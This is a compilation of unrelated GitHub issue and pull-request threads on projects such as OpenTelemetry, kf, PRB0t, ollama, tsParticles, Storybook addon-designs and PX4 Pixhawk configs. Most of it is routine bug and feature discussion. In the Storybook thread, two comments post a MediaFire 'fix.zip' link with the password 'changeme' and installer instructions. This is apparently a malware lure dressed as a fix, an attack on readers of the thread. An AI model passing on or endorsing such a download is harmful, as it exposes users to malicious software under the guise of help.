      - set(attributes["gcp.source_location"], body["logging.googleapis.com/sourceLocation"])
      - delete_key(body, "logging.googleapis.com/sourceLocation")
receivers:
  filelog/input:
    exclude: []
    include:
    - input.log
    include_file_name: false
    start_at: beginning
service:
  pipelines:
    logs/input:
      exporters:
      - googlecloud/otel
      processors:
      - transform/input_0
      receivers:
      - filelog/input

Thanks for the detailed report @quentinmit, I'll take a look

I think Braydon might not have enough context on this bug. I had two questions that I was hoping someone with context would answer:

Why does this code try to parse the attribute as JSON in the first place? Presumably you could just copy the logic that's already used for the HTTP fields:
https://github.com/GoogleCloudPlatform/opentelemetry-operations-go/blob/02b243a6fbedbdc6118f2e2dc34aced98fc70dba/exporter/collector/logs.go#L551-L557
but that doesn't explain why JSON was the only supported format.

Why does this use the gcp.source_location attribute instead of the semantic conventions for code location attributes? And if we want to fix that, what happens if both attributes are present?


Update to Phoenix 4.3.0 and HBase 0.98.9

Needed to add an ugly lookup table since the PDataType enum got
broken up. There's probably a much nicer way around type erasure
but I don't know it.

Ugh, that's a messy change from the Phoenix team. :(

@nenadl - maybe you want to merge this? I'm not a collaborator on this repo anymore.

If the patch is useful to either of you, I can clean up the comments (or anything else suggested). If you know of a better way to get this working, I'm all ears as well.

@nenadl - I don't have access to merge it myself anymore. I got booted off the repo again :)


build: merge stage to master

:tada: This PR is included in version 0.19.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


[Feature Request]Support Dora

paper:https://arxiv.org/pdf/2402.09353.pdf
code:https://github.com/catid/dora/blob/main/dora.py

it had been supported by lycoris dev?

Where supported?

+1

@sdbds did you solve it? I successfully trained lora. but I cant inference with it, because webui and diffusers not support load dora

train:
kohya requestment.txt  lycoris_lora==2.2.0
--network_args "dora_wd=True"
inference:
webui use this PR
https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/15239
You can replace it
https://github.com/AUTOMATIC1111/stable-diffusion-webui/blob/9f2ae1cb85015ee3cc79f1de92641032df154d5b/extensions-builtin/Lora/network.py

--network_module=lycoris.kohya --network_args "algo=lora" "dora_wd=True" is it right?
because I got error in webui "Networks with errors: lora (956)"

try "algo=locon"? but it may alias

yes I replaced to https://github.com/AUTOMATIC1111/stable-diffusion-webui/blob/9f2ae1cb85015ee3cc79f1de92641032df154d5b/extensions-builtin/Lora/network.py but webui got error

I dont know about reason why. I trying to train again with -network_args "algo=locon" "dora_wd=True" now

I also dont know about reason why.
If you still have problem
Can join Lycoris DC
https://discord.gg/VtTFKrj9gJ

I dont know about reason why. I trying to train again with -network_args "algo=locon" "dora_wd=True" now

@SlZeroth Did you succeed?


Popover content with div's inside gets extra spacing on the right

I have a popover with no title, but with html inside (multiple div elements)
The first of these div's gets a width 99%, according to popover styling (see image)
Is there a specific reason why this is done? I don't want any type of spacing difference between my div's.

It's because the first DIV supposedly will include all your content. You can wrap all your content in a div, or just change the CSS


Feature/lattice walker rework

Refactor the walker systems to accommodate both atomistic and lattice systems.
WIP:  getting lattice walkers to work with nested sampling (and other samplings, only exact enumerations works at the moment).
Some formatting reverted back before the previous PR. I will change them again later.

@rwexler Thanks! Indeed, the sampling parts are still work-in-progress.


[Feature] Fern's Github integration should create proper SDK issue templates

Problem description
Fern doesn't generate issue templates for the SDKs that are published to Github.
Why would it be useful?
SDK users need to be prompted to fill out all relevant information so that users can root cause.
Additional context
For example, issues files should have a field for the SDK version

Add any other context or screenshots.

moving to linear: https://linear.app/fern-api/issue/FER-667/[feature]-ferns-github-integration-should-create-proper-sdk-issue


update fimex to 1.6.4

[x] Used a personal fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[x] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

Not a big change, but urgent. One review must suffice.


Default behavior for scale to 0

Since kf is like cf for Knative, the opinion of kf should closely match the expectations of cf users who may have "Long Running Processes" LRPs running as workloads. Even in my brief time using kf I have run into this difference. For this reason we should consider any/all of the following.

Set scale 0 time out to much longer - days perhaps. (heroku style)
Disable scale to 0 as a default on kf push
Allow for disabling scaling to 0 and perhaps scaling all together.

I think we should keep autoscaling as default, and not disable scale to 0 just set the default closer to 1.

I'm a bit torn on this TBH. On one hand I see that this feature can make demos look a bit sluggish. However outside of a demo, the scaling to 0 vs 1 won't necessarily save you if you have bursts of traffic.
Do we have metrics on how fast diego can respond to a burst of traffic?

From 0 to 1 the cold start time difference is not only, noticeable by a human but enough to be annoying. From what I can tell the scale to 0 already has a ~90 second time out. I think we should simply up that considerably as the default.

could it be optional per push, maybe add a --no-scale-to-zero flag

@trisberg How many pods to be created if set --no-scale-to-zero flag? How about import scale bound such as --min-scale ?
https://github.com/knative/serving/blob/9edd4d8b088b20e9e385f70ee35b47f8410cc9ea/docs/scaling/README.md#scale-bounds
BTW, I would like to submit PR if you think it's ok.

Min scale would reflect systems like app engine and somewhat resemble cloud foundry (setting instance count).

IMO, adding an option makes sense, because cf push has -it option.

To me a --no-scale-to-zero implemented buy providing a minScale=1 annotation would be fine for most situations. That would eliminate the pause waiting for slow starting apps scaling up from 0.

I think we should support the same -i flag as cf push with a default of 1. Setting the flag to 0 will disable scale limits (remove the labels). Setting the flag to n > 0 will set both the lower and upper bound to that number.
Then we can add additional flags (mirrored in the app manifest and future scale command) to support setting a --min-scale and --max-scale. There should be a  constraint that you can't use both the -i flag and the --min-scale/--max-scale flags together.
The compatible by default approach means users won't be left confused when they see unexpectedly long startup times, missing metrics from things like NewRelic, or find out they made assumptions about their app being running. I think we should also set min and max to be the same by default to avoid complications of an app scaling up when it wasn't expected to--there can be a lot of capacity planning that goes into setting number of instances correctly and I'd hate for someone to have an outage due to a runaway app caused by an amplification issue.

After our conversation today, I think we're going to introduce this as a configurable property on spaces, probably in the execution block.
It's still kicking the can down the road a bit, by default I think we'll choose 1 as a scaling target so as not to surprise existing CF users.
In the future we could look at creating variants of the create-space command to apply different default sets to a newly created space.


Documentation update for Switch "thumbTintColor" to "thumbColor"

"thumbTintColor" is deprecated so I would recommend changing the documentation to "thumbColor".

The same change has now been made and merged in #572
https://github.com/facebook/react-native-website/pull/620 backports this to 0.57 docs


Fix containerd on the worker nodes

We need to pass --cri-socket to kubeadm join in order
to have worker nodes use containerd.

/approve
/lgtm


remove instanceof checks and use reflection for admin cmd invocations

ISSUE TYPE

cleanup

COMPONENT NAME

API

CLOUDSTACK VERSION

4.17

CONFIGURATION

OS / ENVIRONMENT

SUMMARY

the API classes have instances that are for root admin only, these are checked for using instanceof in the service layer. This should be cleaned up in favour for reflection invocations as in #6951. It would be better to do all in one go but the fix in #6951 really needs it and is for a point release, so postponing.
STEPS TO REPRODUCE

EXPECTED RESULTS

ACTUAL RESULTS

This may not be necessary generally; the metrics API extend relevant list APIs (for example, listVirtualMachines and listVirtualMachinesMetrics) and because of this the reflections-based pattern was used.
Ideally one could have implemented that by implementing a interface that both the listVirtualMachines and listVirtualMachinesMetrics implements, and checking using instanceof on that interface; this would have introduced a static type checking and avoided the dynamic/runtime behaviour that reflection based code (generally) introduces.

@DaanHoogland do you plan to work on this for 4.19 or can this moved to the next milestone?

@DaanHoogland
is the issue related to #6951  ? (according to the summary)

@DaanHoogland is the issue related to #6951 ? (according to the summary)

by the looks of it this is a mis-reference . This is about using if (cmd isinstance of ..CmdForAdmin) conditions in the service layer. extremely low priority, but a cleanup we may have to consider sometime.


Allow users to set commit author

Currently, the prb0t is the author for every commit. One handy thing about prb0t is it lets users contribute to GitHub that don't have a GH account. In my case, we'd still like as much info about our users as possible. It'd be great to have an option to pass in the POST body that will be set as the commit author.
It looks like github-api doesn't allow you to set the commit author when doing a commit, even though GitHub's API does allow you to. See here for where GitHub lets you set the author.
I'd be willing to take this work on, but I may need some guidance here. It looks like we would have to make a change in github-api if we wanted to make this easy on us. I'll create an issue there to see if they'd be interested.

I've created an issue here.

I've created a pull request that resolves the issue in github-api here.

Does you means is use you own GH account to commit and can set other email and author name?

It would still be PRB0t making the commit, but Git allows you to specify the author of commits independent of GitHub. For example, it's possible for me to use git config --global user.name "John Doe" and then push that to a repo I own on GitHub with my actual account. We just want the freedom to set the commiting user to something specific.

You can use your own user, but you need to specify your token for it. Have a look of @whtiehack answer here https://github.com/PRB0t/PRB0t/issues/39#issuecomment-481698012

@M3kH Sorry for the late response. In our very specific use-case, we're calling PR Bot from the client. This means things like tokens/client secrets are a no go. We also don't authenticate our users right now, so the goal is to just make a commit on behalf of someone, even if they don't have a GitHub account.
I've created a PR in my upstream here. If the community here is interested, I can submit this work here as well.

Hi @j-rewerts that PR is indeed applicable to this repo. PR is more than welcome 🙏 thanks.

Sounds good. I'll try to get around to this in the next couple of weeks.

Feel free to assign me.

I've resolved this in #42 .

It doesn't appear to be working. See #49. I've got a pen here that tests the functionality.

The code on master works right now. @M3kH any chance we can get a deploy?

Indeed the changes are not deploy yet, I will! Let you know once is done.

Is this option already available? I tried adding the author field, but it doesn't seem to work with the public API.

Hi @ricksta I didn't end up updating the endpoint. But should be fairly easy create your own.
Do you want that help with that?
The reason why I choose not to is because I'm afraid would be harder to track where the B0t is committing to.

Hi @ricksta I didn't end up updating the endpoint. But should be fairly easy create your own. Do you want that help with that?
The reason why I choose not to is because I'm afraid would be harder to track where the B0t is committing to.

Ah, that makes sense. I think we can still track the B0t when we set @PRB0t as a co-author (see https://github.com/PRB0t/PRB0t/pull/154). 🤔

Reasoning back the co-author looks just a good idea that should be supported.
I've couple of ideas more which I will group into new release.
For now, thanks for the PR.

Reasoning back the co-author looks just a good idea that should be supported. I've couple of ideas more which I will group into new release.
For now, thanks for the PR.

Great! This pull request can be the other way around, adding the user as the co-author. Just use the version you like the most 👍🏻.

@M3kH let me know when you implement the changes. I will test if https://github.com/rickstaa/check-prb0t-action still works.


gemma crashes ollama

I got the same error on windows 10 with gemma 0.5 & 7b

This also happens with the GGUF models (eg https://huggingface.co/cohesionet/GritLM-7B_gguf/tree/main)

just, download the latest version again and run it

Thanks to everyone for the reports and updates. It looks like this should be solved by updating to the latest version. Let us know if that isn't the case.

A bit more detail would really be helpful for other people who have encountered the same issue.
"latest version" is not a good term to use.

In order to run a gemma model, the ollama version must be at least 0.1.27

works, thanks


[Bug]: Touch events cause onClick interaction to fire twice

Contact Details
No response
What happened?
When touching the screen on a mobile device (Android and iOS confirmed) while having onClick specified, the onClick event fires twice. This appears to be a common bug with handling touch events across several libraries. Both the touch event and click events fire and it is necessary to handle them together and detect if touch event has already run when you are evaluating the click event.
I am not sure where in the code base these events are handled or I would have tried to fix it.
tsParticles Version
2.2.1
Which library are you using?
React.js (react-particles, react-tsparticles, react-particles-js)
tsParticles Configuration
{
  background: {
    color: {
      value: 'transparent',
    },
  },
  fpsLimit: 24,
  fullScreen: { enable: false },
  interactivity: {
    detect_on: 'canvas',
    events: {
      onClick: {
        enable: true,
        mode: 'push',
      },
      resize: true,
    },
    modes: {
      push: {
        quantity: 1,
      },
    },
  },
  particles: {
    color: {
      value: '#ffffff',
    },
    collisions: {
      enable: false,
    },
    life: {
      duration: {
        sync: true,
        value: 30,
      },
      count: 1,
    },
    number: {
      density: {
        enable: true,
        area: 120000,
      },
      value: 0,
    },
    opacity: {
      value: 0.85,
    },
    shape: {
      options: {
        image: [
          {
            src: 'img/googly-eye.png',
          },
        ],
      },
      type: 'image',
    },
    size: {
      value: { min: 25, max: 50 },
    },
    rotate: {
      value: { min: 0, max: 360 },
      animation: {
        enable: true,
        speed: { min: 2.5, max: 8 },
      },
      direction: 'counterClockwise',
    },
  },
  detectRetina: true,
}

What browsers are you seeing the problem on?
Firefox, Chrome, Safari
Relevant log output
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

Thanks, I've never noticed that. I've seen that the "new" pointer events are recommended instead of the old mouse events. The unsupported browsers have a small market share percent and can be ignored IMO.
I think a 2.2.2 will be released today with this fix.


Getting 307 Status Code as an error while trying to validate my XML

HI There, I have tried validating the xml using this package but unfortunately I am getting Error as "The Remote Server replied with a 307 status code".
Can you please help me on this?

same


feat: (c sshnpd) rejection notification

- What I did

Created_response_atkey and notify methods for code reuse
Signature verification rejection notification

- How I did it
- How to verify it
If we intentionally modify the signature value to make it incorrect, we can see what it happens:
value[0] = 'A';

  res = verify_envelope_signature(requesting_atsign_publickey, (const unsigned char *)payloadstr,
                                  (unsigned char *)value, hashing_algo_str, signing_algo_str);
  if (res != 0) {

    // Notify noports client that this session is NOT connected
    memset(value, 0, valuelen);
    snprintf(value, valuelen, "Signature verification failed: %d\n", res);
    atclient_atkey error_res_atkey;
    atclient_atkey_init(&error_res_atkey);

    create_response_atkey(&error_res_atkey, atsign, requesting_atsign,
                                 identifier, keyname, &keynamelen);

    notify(atclient, atclient_lock, &error_res_atkey, value);
    atclient_atkey_free(&error_res_atkey);

    atlogger_log(LOGGER_TAG, ATLOGGER_LOGGING_LEVEL_ERROR, "Failed to verify envelope signature\n");
    free(envelope);
    atchops_rsakey_publickey_free(&requesting_atsign_publickey);

    return;
  }

- Description for the changelog

Closes #1117

The code has changed out from under this significantly, closing and will pull in the appropriate changes to a new PR


Add support for Beaglebone Blue

This PR adds support for the Beaglebone Blue board. I tested it with the flasher and SD card images on both a Beaglebone Blue and Black. The wifi on the Blue comes up and associates and the ethernet works on the Black but I haven't tested any other peripherals. I also haven't tested the Beaglebone Green or Green Wifi due to lack of hardware.
Instead of adding a new machine type I have added patches to the "beaglebone" machine type which should make u-boot find the correct DTB file based on the detected hardware revision so the "beaglebone" machine type should become a universal machine type eventually. I expect it to boot and run on the Green and Green Wifi but I haven't tested it.

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Add to witelist

ok to test

After talking to the upstream for the patches a set of smaller patches has been submitted to u-boot upstream. I switched to using those instead as they are much less invasive.

Re-reviewed - looks great.


Remove peer dependency on React

Affected design types

[ ] figma
[ ] figspec
[ ] link
[ ] image
[ ] iframe

Describe the bug
Storybook 8 dropped the peer dependency on React, this package should do the same
➤ YN0002: │ root-workspace-0b6124@workspace:. doesn't provide react (p63559), requested by @storybook/addon-designs and other dependencies.
➤ YN0002: │ root-workspace-0b6124@workspace:. doesn't provide react-dom (p3e1e2), requested by @storybook/addon-designs and other dependencies.

How to reproduce the bug?
Start a project using Yarn 4 and install Storybook + Storybook Designs Addon and you will see a warning about missing peer dependencies, even though react has not needed to be installed since Storybook 8.
Expected behaviour
This package should not mark React as a peer dependency.
Environment

[ ] Chrome / Chromium / Chromium based browsers
[ ] Firefox
[ ] macOS Safari
[ ] iOS Safari
[ ] Samsung Internet
[ ] Other

Affected versions
8.0.3
Storybook versions
8.2.9

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

This is also giving issues now with the release of React 19. Since the peer dependencies only mention react 16, 17 & 18 it is not possible to upgrade.
....
  "peerDependencies": {
    ....
    "react": "^16.8.0 || ^17.0.0 || ^18.0.0",
    "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0"
  },
....


pixhawk 2 init and cleanup

pixhawk 2.1 start 2nd ms5611 and adjust baro voter timeout
fix pixhawk 2 (solo) init detect
travis-ci upload px4fmu-v3 binary to s3
rc.sensors indentation fix
sync and sort px4fmu-v1,2,3,4 configs, it was becoming quite difficult to keep track of the differences

Pixhawk 2.1 imu heater is still a problem. The sensors were in the mid 70s after bench testing. https://github.com/PX4/Firmware/issues/5963

PR for thermal: https://github.com/PX4/Firmware/pull/5964

@LorenzMeier sorry, I know that's a mess. I did it because I was worried about missing something for v3, and it was too hard to tell what had been dropped from v2 and added onto v4. The changes to 1, 2, and 4 are only cosmetic. Leaving the modules commented out, but still in the list and sorted so an interested user could easily reenable.
If we try to keep these sorted and grouped logically it'll be easy to compare and keeps things consistent going forward. I can drop the change from this PR if you want.

Jenkins test this please.

@dagar Can we please split this so we only have v3 changes in this PR and keep the others unchanged? I'd like to get these fixes into 1.5.1, but the amount of changes for the other configs is too big to be viable.

Alright I'll split it. Traveling at the moment.
On Mon, Dec 5, 2016, 04:28 Lorenz Meier<EMAIL_ADDRESS>wrote:

@dagar https://github.com/dagar Can we please split this so we only
have v3 changes in this PR and keep the others unchanged? I'd like to get
these fixes into 1.5.1, but the amount of changes for the other configs is
too big to be viable.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/PX4/Firmware/pull/5962#issuecomment-264805298, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAFK6FLC0N0DjioWzpXljrx9GSHyhkGbks5rE9kygaJpZM4LDgY4
.

Split into two PR's, closing.

I've verified that the diff of this PR rebased is zero to config sync, so nothing is lost.

Thanks for taking care of it.
On Mon, Dec 5, 2016 at 7:49 AM, Lorenz Meier<EMAIL_ADDRESS>wrote:

I've verified that the diff of this PR rebased is zero to config sync, so
nothing is lost.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/PX4/Firmware/pull/5962#issuecomment-264845961, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAFK6Mc8pqYn_2ZSE5K7ciCZtJ8qFGiXks5rFAhJgaJpZM4LDgY4
.


Update README.markdown

Checklist

[x] I've looked at the contribution guidelines.
[x] This pull request is complete and ready for review.

Description
Fixed a typo.

Thanks!


Sorting: Implement Heap Sort in Python

I will take this one

Is there anyone working on it

Is there anyone working on it

I did that and its already merged

Is there anyone working on it

@RishabhDixit1 pick other issues


Serve redirects for legal convenience URLs

Fixes #155

https://app.clubhouse.io/larder/story/1718/serve-redirects-for-legal-notices-on-website